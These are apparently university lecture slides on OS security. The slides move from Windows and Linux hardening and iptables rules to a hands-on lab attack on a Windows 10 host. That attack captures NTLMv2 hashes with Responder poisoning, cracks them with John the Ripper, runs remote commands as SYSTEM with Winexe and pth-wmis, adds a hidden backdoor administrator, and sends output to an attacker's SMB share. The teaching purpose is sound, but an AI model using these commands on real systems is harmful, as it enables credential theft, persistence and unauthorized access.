Secure Operating Systems

Nikos Tziritas

The slides are based on the book GRAY HAT HACKING, The Ethical Hacker’s Handbook, A. Harper, D. Regalado, R. Linn, S. Sims, B. Spasojevic, L. Martinez, M. Baucom, C. Eagle, s. Harris

Windows Pagefile and Security Risks (1/4)

- Windows employ pagefile to use hard disk space as memory.
- When the physical memory of our machine reaches its limit, then pages from physical memory are moved to disk to free up memory
- Why pagefile can be considered as a security risk? (See the answer in the next slide)

Windows Pagefile and security risks (2/4)

- A main reason to consider pagefile as a security risk is that windows OS does not clear a page file when a user decides to log out
- The above means that there is a possibility for pagefile to persist in disk when a user logs out
- Windows does not allow users to read pagefile, so why this is considered as a security risk? how someone can exploit this vulnerability to get access on pagefile?
- See the answers in the next slide

Windows Pagefile and security risks (3/4)

- An attacker can exploit the aforementioned problem such that to boot from a different OS other than Windows (such as Linux)
- In that way the user circumvent the windows security and can browse the pagefile.
- How can we solve this issue?
  - See the answer in the next slide

Windows Pagefile and security risks (4/4)

- One can disable pagefile to avoid the aforementioned security risk
  - However this solution comes with the disadvantage of resulting in performance and stability issues.
- Another solution is to clear the pagefile during shutdown
  - The disadvantage of this solution is the extra time needed to perform such an operation resulting in prolonged shutdown.
- Hibernation can also induce a pagefile security risk
  - When our computer goes into hibernation, then the contents located in physical memory are copied to disk without encryption.
  - A solution is to disable hibernation.

Windows User Account Control

- User account control acts as a safeguard to prevent programs from making unauthorized changes to our computer without having approved by the administrator
- In windows 10 there is a hidden administrator account for internal issues of windows 10, such as performing an upgrade from windows 7 to windows 10.
- This kind of super administrator is hidden because if someone gets access on it, then it can do anything in our computer
- Therefore the best thing we can do is to leave this account hidden unless we know what we are going to do.

Linux Issues

- Open network ports
- Old software versions
- Insecure and badly configured programs
- Insufficient resources and misplaced priorities
- Stale and unnecessary accounts

Open Network Ports (1/3)

- An open network port is like an open road to an attacker
- Many of the open network ports are not necessary so it is better to disable these ports
- Remove services and software that are not needed
- Use “netstat –atuv” command to see which services are being run
- Most services are controlled by the daemon xinetd, so someone can disable them by editing /etc/xinetd.d/* scripts

Open Network Ports (2/3)

- We can disable sendmail daemon since we normally don’t need it listening on port 25
- We can disable DNS since we need it only in the case where other machines are querying our machine about name services
  - Normally programs running in our system read /etc/resolv.conf such that to query the DNS server of our organization or our internet service provider

Open Network Ports (3/3)

- Portmap is used for remote procedure call services
- Clients that want to make an rpc call must first contact portmap service to find out which is the corresponding port for the respective rpc call
- Portmap service has been found that is used for distributed denial of service (DDoS) attacks
- Therefore it is suggested to shutdown this service

Old Software Versions

- Because many vulnerabilities in operating systems can be found in a short period, we must keep up with the updates/changes fixing those vulnerability issues.
- Fortunately Linux people fix vulnerabilities found in a very fast way.
- When a fix is issued for Linux, it is very simple and fast to install that fix.

Insecure and Badly Configured Programs (1/4)

- We must not use insecure programs such as FTP, rsh, NFS, etc.
- It is widely known that telnet, ftp, etc. send passwords over the network without encryption
- It is also known that PHP, NFS, and portmap had in past many security problems. These programs also have design defects regarding authentication.
- Many programs are also secure only if they are properly configured
  - Unfortunately administrators may result in a bad configuration because of many reasons such as lack of training, lack of understanding the risks, etc.

Insecure and Badly Configured Programs (2/4)

- When deciding to use a service we must first search its security issues that had in the past.
- If there are security issues, then we must see how this service can be deployed securely.
- There are many people that use FTP while SFTP does the same thing in a secure way.
- We must prevent a wireless system inside of a firewall. An alternative solution is to use it by enforcing that traffic is being encrypted (Ipsec).

Insecure and Badly Configured Programs (3/4)

- We must be careful about CGI scripts, since they are any easy way for a hacker to get access in an unauthorized way to a system.
- CGI is actually a program that runs in a computer at the request of some external user without the need of authentication.
- Someone can access our website with a CGI program.
- One solution if we run multiple CGI scripts, is to differentiate them with those that manipulate confidential data and those do not.
  - We can use suEXEC to run those CGI scripts under a different Linux user, with different permissions.
  - In that way we can prevent less trusted CGI scripts from accessing confidential data

Insecure and Badly Configured Programs (4/4)

- We must avoid having confidential data in our web server. It is a better approach to keep them in a different machine in case we have some vulnerability issues.
- We must not use confidential information in a url or cookie. Otherwise when a user is in a public place such as internet caffer, library, etc., other users may have access to those confidential data

Insufficient Resources and Misplaced Priorities

- There are many cases where an organization does not provide all resources to the administrator such that to have a good security perimeter for the system
- There is an estimation about the cost of recovering from a security violation that is almost ten times the cost of prevention.
  - In such an estimation there are some factors that are not included
    - Loss of customers
    - Cost of customers that cannot access our website
    - Lost market opportunities for delayed products

Stale and Unnecessary Accounts

- A stale account will never change password (which is a hole)
- In case we remove some services, we must check if they had accounts in /etc/passwd. In such a case we must remove/disable such accounts

How to Change our IP address/mac address to neutralize security measures

- Change the ip address
  - Ifconfig eth0 192.168.1.50
- Spoofing the mac address
  - ifconfig eth0 down
  - Ifconfig eth0 hw ether 01:21:32:83:42:91
  - Ifconfig eth0 up

How to do port scanning

- nmap <type of scan> <target IP> <optionally, target port>
- We perform “Nmap -sT 192.168.1.50” for TCP scan of address 192.168.1.50
- We perform “Nmap -sT 192.168.1.50 –p 3306” to check if port 3306 is open (this is the default port of MySQL)

iptables (1/2)

Results from iptables –L -v

Target	Prot	opt	In	out	source	destination	
ACCEPT	all	--	lo	any	anywhere	anywhere	
ACCEPT	All	--	any	any	anywhere	anywhere	cstate RELATED, ESTABLISHED
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:ssh
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:http
DROP	all	--	any	any	anywhere	anywhere	

TARGET: what to do about traffic
PROT: protocol
OPT: optinal items, an example is about checking against fragmented packets
IN: Network interface that accepts traffic
OUT: Network interface regarding the out traffic
SOURCE: the source of traffic
DESTINATION: the destination of traffic

iptables (2/2)

Results from iptables –L -v

Target	Prot	opt	In	out	source	destination	
ACCEPT	all	--	lo	any	anywhere	anywhere	
ACCEPT	All	--	any	any	anywhere	anywhere	cstate RELATED, ESTABLISHED
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:ssh
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:http
DROP	all	--	any	any	anywhere	anywhere	

- The first rule says to accept all traffic from loopback interface (we allow all internal traffic to pass through)
- The second rule says to accept all traffic from currently established/related connections. This is useful such that to not block ourselves from the server when editing iptables
- The third rule says to accept all traffic from port 22 (ssh)
- The fourth rule says to accept all traffic from port 80 (http)
- The fifth rule says to drop anything else

Default policies

- iptables –P INPUT DROP
  - default policy for input to drop packets
- iptables –P FORWARD ACCEPT
  - default policy for forward to accept packets
- iptables –P OUTPUT DROP
  - default policy for output to drop packets

How to drop packets

append source Jump the packet to the drop rule

- iptables –A INPUT –s 168.1.1.3 –j DROP
  - drop packets from a single IP
- Iptables –A INPUT –s 168.1.1.3 -i eth0 –j DROP
  - drop packets from a given IP and a given Network Interface Controller
- Iptables –A INPUT –s 168.1.1.3 –p tcp –dport 22 –j DROP
  - drop packets from a given IP and a given port as well as protocol
- Iptables –A INPUT –s 168.1.1.0/24 –j DROP
  - drop packets from a whole network

How to Log Dropped Packets (1/3)

- We must first create a new chain
- Any unmatched traffic must jump to the new chain
- Log the packets with a searchable prefix
- Drop these packets

How to Log Dropped Packets (2/3)

- sudo iptables –N LOGGING
  - We create a new chain with name LOGGING
- sudo iptables –A INPUT –j LOGGING
  - Unmatched packets jump to the chain LOGGING
  - To have this work we must delete in the sequel the rule that drops everything
- sudo iptables –D INPUT –j DROP
  - This is important to guarantee that the unmatched packets will not be dropped such that to jum to LOGGING
- sudo iptables –A LOGGING –m limit –limit 2/min –j LOG –log-prefix “Packets Dropped” ---level 7
  - We log the packets with a prefix
- sudo iptables –A LOGGING –j DROP
  - Drop finally the unmatched packets from chain LOGGING

How to Log Dropped Packets (3/3)

Chain INPUT

Target	Prot	opt	In	out	source	destination	
ACCEPT	all	--	lo	any	anywhere	anywhere	
ACCEPT	All	--	any	any	anywhere	anywhere	cstate RELATED, ESTABLISHED
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:ssh
ACCEPT	tcp	--	any	any	anywhere	anywhere	tcp dpt:http
LOGGING	all	--	any	any	anywhere	anywhere	

Chain LOGGING

Target	Prot	opt	source	destination	
LOG	all	--	anywhere	anywhere	Limit: avg 2/min burst 5 LOG level debug prefix “Packets Dropped “
DROP	all	--	anywhere	anywhere	

Resolving an IP from a DNS Name

- DNS name: to resolve an IP from a DNS name we follow a number of different steps
  - Search local files
  - Query DNS to the default nameserver
  - Modern protocols (LLMNR and NBNS) if the above fail

Link Local Multicast Name Resolution (LLMNR)

- This protocol uses multicast to find the host on the network
- If someone gets a message about a name that is the owner, then it turns this name into an IP and sends it back to the sender
- When the system gets the response it knows the IP

NetBIOS Name Service (NBNS)

- If LLMNR fails then the system uses the NetBIOS Name Service (NBNS).
- NBNS uses the NetBIOS protocol to discover an IP
- It broadcasts a request for a given host to the local subnet
- If a host exists then it responds directly and the name is resolved.

Windows NTLMv1 (1/2)

- Different ways where windows systems can authenticate (certificates, kerberos, NetNTLM)
- NetNTLM sends in a safe way Windows NT LAN Manager (NTLM) hashes across the network
- Before Windows NT, network-based authentication was taking place through LAN Manager (LM) hashes.
- An LM hash was generated using Data Encryption Standard (DES) encryption
- Two separate hashes combined together
  - A password is converted to uppercase and padded with null characters until it reaches 14 characters
  - The first and second halves of the password is used to generate the two parts of the hash
  - Unfortunately, each half of the password can be cracked independently of the other, thus a cracker needs to crack two passwords of 7 characters each

Windows NTLMv1 (2/2)

- With NTLM hashes, passwords of any length can be hashed through RC4.
- A problem that occurs is in terms of network-based authentication where if these hashes are transmitted in a raw format across the network then anyone listening in the network can re-transmit them.
- For the above reason the NetNTLMv1/v2 challenge/response hashes were created for additional randomness
- NTLMv1 uses a server-based nonce for additional randomness.
  - we take our NTLM hash and we re-hash it with the nonce we receive from the server
  - The final hash is transmitted to the server for authentication
  - If a server knows the NT hash, it can re-create the challenge hash using the challenge sent.
  - If these two hashes match then the password is correct
- A malicious attacker may befool someone to connect to his server providing a static nonce and thus resulting in the case where the attack can be performed as that in the case of raw hashes.

Windows NTLMv2

- NTLMv2 provides a nonce from the server side and another nonce from the client side
- In that way, if the server is compromised and has just a static nonce, the client adds more complexity to cracking the password because he has his random nonce.

Responder (1/4)

- To capture hashes within the system, we use a program called responder.
- Responder answers the LLMNR and NBNS queries issued.
- We use a static nonce within the server such that to reduce the complexity and show an attack example
- We can get the responder in a Kali linux as follows:
  - apt-get install build-essential git python-dev
  - git clone https://github-com/lgandx/Responder.git
- We can run the responder as follows:
  - # Python ./Responder.py –I eth0 -wrf

Symbol indicates that we run this as a root from Kali linux

Fingerprint a host that issued a NBT-NS or LLMNR query

Start a WPAD rogue proxy server

Enable answers for netbios wredir suffic queries

Responder (2/4)

- Note that option wredir will break networks under some certain conditions
- By forcing basic authentication, the victim will see a pop up box asking for username and password
  - we will get the password in a raw format
  - The user will probably realize that something strange takes place
- The fingerprint option will give us information about hosts using NetBIOS on the network
  - Names that are looked up
  - Operating system info
- WPAD option sets up a WPAD server.
  - WPAD is the Web Proxy Auto Discovery Protocol

Responder (3/4)

- When the responder is running we can make the following call in a shell from the target Windows 10 system:
  - \\FAKEHOST\FAKESHAREFOLDER\fakeFile.exe
    - We will get "Access is denied"
- In the responder we will get the following:

```
[*][NBT-NS] Poisoned answer sent to 192.168.1.5 for name FAKEHOST
[FINGER] OS Version: Windows 10 Enterprise xxxx
[FINGER] client version: Windows 10 Enterprise xxx
[*][LLMNR] Poisoned answer sent to 192.168.1.5 for name FAKEHOST
[FINGER] OS Version: Windows 10 Enterprise xxxx
[FINGER] client version: Windows 10 Enterprise xxx
[SMBv2] NTLMv2-SSP Client: 192.168.1.5
[SMBv2] NTLMv2-SSP Username: Desktop-NTZIRI\User
[SMBV2]NTLMv2-SSP Hash: User:: DESKTOP-
NTZIRI:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxx
```

Responder (4/4)

- We have two different types of poisoning:
  - NBNS poisoning
  - LLMNR poisoning
- Due to fingerprinting the requests reveal information about:
  - the underlying host OS
  - The IP address of the requesting host
  - The system it was trying to connect to
- We get a hash and we can stop running Responder

We run this as a root from Kali

John the Ripper

- Dumping the hashes out of the responder in a format that John the Ripper can understand

```
# ./DumpHash.py
Dumping NTLMv2 hashes:
User: DESKTOP-NTZIRI:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Dumping NTLMv1 hashes:
```

- We see here the NTLMv2 hash
- There are also two files created:
  - DumpNTLMv1.txt
  - DumpNTLMv2.txt
- Because the hash from the Responder was of type v2, and thus we can run John the Ripper against v2 file to crack the password.
  - # john DumpNTLMv2.txt
  - Output: Password1

Winexe (1/2)

- Remote administration tool running on Linux targeting windows systems
- Run applications on the target system
- We can ask Winexe to launch our shell as “system” giving us additional privileges to the system, when the user has elevated privileges.
- Winexe is a common way for attackers to gain a remote access to a system
- It uses named pipes through the hidden IPC share on the target system to create a management service
- When the service is created on the target system, we can connect to it and call commands as the service

Winexe (2/2)

- First we must check whether the target system shares the IPC share
- By using the smbclient we can show all the shares on a target system
  - # smbclient –U User%Password1 –L 192.168.1.5

List all shares

Sharename	Type	Comment
ADMIN$	Disk	Remote Admin
C$	Disk	Default Share
IPC$	IPC	Remote Share

Winexe (3/3)

```
# Winexe –u User%Password1 –uninstall //192.168.1.5 cmd.exe
```

The service will be uninstalled on exit

This is the target system

The service we want to run

After calling the above Winexe we get the following output:

```
C:\Windows\system32>whoami
Whoami
desktop-ntziri\user
```

It is very crucial to use the uninstall option, otherwise if we exit the service will still run on the target system and thus leaving a trace that someone is running this service

Winexe: Gain Elevated Privileges

- A target of an attacker it to gain access on a system with elevated privileges
- Therefore, an attacker’s goal is to access the target system as SYSTEM user.
  - In that way the attacker has full privileges over the system
- An attacker must attempt the following command to possibly get access as a SYSTEM user:
  - Winexe –U User%Password1 –uninstall – system /192.168.1.5 cmd.exe
  - A successful output will be:
    - C:\Windows\system32>whoami
    - Whoami
    - nt authority\system

Windows Management Instrumentation (WMI)

- WMI is a set of specifications to access system configuration information
- With WMI, administrators can see processes, hardware, etc for a target system
- WMI can create new data, delete data, change data on a target system according to the permissions of the calling user
- An attacker can employ WMI to find information about a target system and change its state

WMI Query Language (WQL)

- We must build a WQL query to get information of a target system
- WQL is similar to SQL
- To perform a WQL query, we must know the class that we will be querying (e.g., win32_logonsession class)
- An example query:
  - Select LogonType, LogonId from win32_logonsession
  - With the above query we ask two types of data
    - LogonType: information about the type of login
    - LogonId: internal ID number for the logon session
- To execute such a query we need a WMI client
  - Pth-wmic
  - Impacket

# pth-wmic

- The syntax for pth-wmic is similar to that of the Winexe tool
- # pth-wmic –U User%Password1 //192.168.1.5 “select LogonType,LogonId from win32_logonsession”
- CLASS: Win32_LogonSession

LogonId	LogonType
895	0
894	5
892	5
1272651	2
1278298	2
5768321	3
47828	2
48932	2

Logon Types

Logon Type	Description
0	SYSTEM account logon (typically it is used by the computer itself)
2	Interactive logon (Typically is console access but could also be terminal services or other types of logons where a user is directly interacting with the system)
3	Network logon (this is a logon for WMI, SMB, and other remote protocols that are not interactive)
5	Service logon (This logon is for running services where the user will not directly interact with the system)
10	Remote interactive logon (for Terminal Services logon)

WQL for specific logon IDs

- As we can see in the previous tables, the interesting IDs are the ones of type 2 which are interactive logons
- The logon sessions are mapped to users in the win32_loggedonuser table.
  - # pth-wmic –U User%Password1 //192.168.1.5 'select * from win32_loggedonuser' |egrep –e 1272651 –e 1278298 –e 47828 –e 48932

```
\\.\root\cimv2:Win32_Account.Domain="DESKTOP-NTZIRI", Name="User"|
\\.\root\cimv2:Win32_LogonSession.LogonId= "1272651"

\\.\root\cimv2:Win32_Account.Domain="DESKTOP-NTZIRI", Name="DWM-1"|
\\.\root\cimv2:Win32_LogonSession.LogonId= "1278298"

\\.\root\cimv2:Win32_Account.Domain="DESKTOP-NTZIRI", Name="User"|
\\.\root\cimv2:Win32_LogonSession.LogonId= "47828"

\\.\root\cimv2:Win32_Account.Domain="DESKTOP-NTZIRI", Name="User"|
\\.\root\cimv2:Win32_LogonSession.LogonId= "48932"
```

From the above we can observe that the user is logged on interactively in the system, therefore if we do something that pops up a window or induce any anomalies in the system, the user will detect the attacker

Executing Commands with WMI (1/7)

- We can create a new process with WMI and then monitor the output
- To achieve the above we load the Impacket source code and use a SMB server provided with it
  - The smb server is used such that the command running in the target system will write the output in a shared folder provided by the SMB server
  - Impacket provides a series of Python scripts allowing an interaction with things outside of Samba
- Installation:
  - # git clone https://github.com/CoreSecurity/impacket.git
  - # cd impacket
  - # python seutp.py install
- Start SMB server
  - # service smbd stop
  - # smbserver.py share /tmp/ (map /tmp directory to a share called "share")

Executing Commands with WMI (2/7)

- Let’s see the info of SMB server from an smb client
  - smbclient –N –L localhost

sharename	type	comment
Share	disk	
IPC$	disk	

The share now is ready and thus we can redirect output from a command running on a target system towards the share

Executing Commands with WMI (3/7)

- We can run a command with pth-wmis
  - # pth-wmis –U User%Password1 //192.168.1.5 'cmd.exe /c whoami > \\192.168.1.100\share\output.txt'
  - [wmi/wmis.c:172:main()] 1: cmd.exe /c whoami > \\192.168.1.100\share\output.txt
  - NTSTATUS: NT_STATUS_OK – SUCCESS
  - # cat /tmp/output.txt
  - Desktop-ntziri\user

This is the ip where the smb server is running

Executing Commands with WMI (4/7)

- We create a backdoor user that we can use to get back to the target system in case the user changes a password
  - # pth-wmis –U User%Password1 //192.168.1.5 ‘cmd.exe /c net user intruder 12345 /add > \\192.168.1.100\share\output.txt’
  - [wmi/wmis.c:172:main()] 1: cmd.exe /c net user intruder 12345 /add > \\192.168.1.100\share\output.txt
  - NTSTATUS: NT_STATUS_OK – SUCCESS
  - # cat /tmp/out.txt
  - The command completed successfully

Executing Commands with WMI (5/7)

- We add the new user “intruder” to the local Administrators group using net localgroup
  - # pth-wmis –U User%Password1 //192.168.1.5 ‘cmd.exe /c net localgroup Administrators intruder /add > \\192.168.1.100\share\output.txt’
  - [wmi/wmis.c:172:main()] 1: cmd.exe /c net localgroup Administrators intruder /add > \\192.168.1.100\share\output.txt
  - NTSTATUS: NT_STATUS_OK – SUCCESS
  - # cat /tmp/output.txt
  - The command completed successfully

Executing Commands with WMI (6/7)

- We print the users located at Administrators group
  - # pth-wmis –U User%Password1 //192.168.1.5 ‘cmd.exe /c net localgroup Administrators > \\192.168.1.100\share\output.txt’
  - [wmi/wmis.c:172:main()] 1: cmd.exe /c net localgroup Administrators > \\192.168.1.100\share\output.txt
  - NTSTATUS: NT_STATUS_OK – SUCCESS
  - # cat /tmp/out.txt
  - Members ------------------------
  - Administrator
  - Intruder
  - User
  - The command completed successfully

Executing Commands with WMI (7/7)

- To be sure that everything works fine with the backdoor user we do the following
  - # winexe –U ‘User%Password1’ –system --uninstall cmd
  - C:\Windows\system32\whoami
  - whoami
  - Nt authority\system

WinRM (1/2)

- WinRM is supported on Windows systems
- With this tool we can remotely interact with Windows systems
- It uses SOAP over web-based connections to interact with a target system
- It supports both HTTP and HTTPS, as well as authentication based on basic authentication, kerberos, etc.
- In kali linux we can use pywinrm to interact with WinRM
  - We open a shell and write: pip install pywinrm
  - There is a script ghwinrm.py to allow us to call either Powershell commands or shell scripts over WinRM

WinRM (2/2)

Command shell

- We run a whoami command
  - # ./ghwinrm.py –c –U user%Password1 –t 192.168.1.5 whoami
  - desktop-ntziri\user

Powershell

- Run a command through Powershell
  - # ./ghwinrm.py –p –U user%Password1 –t 192.168.1.5 “Get-Process”
  - It outputs the processes run on the system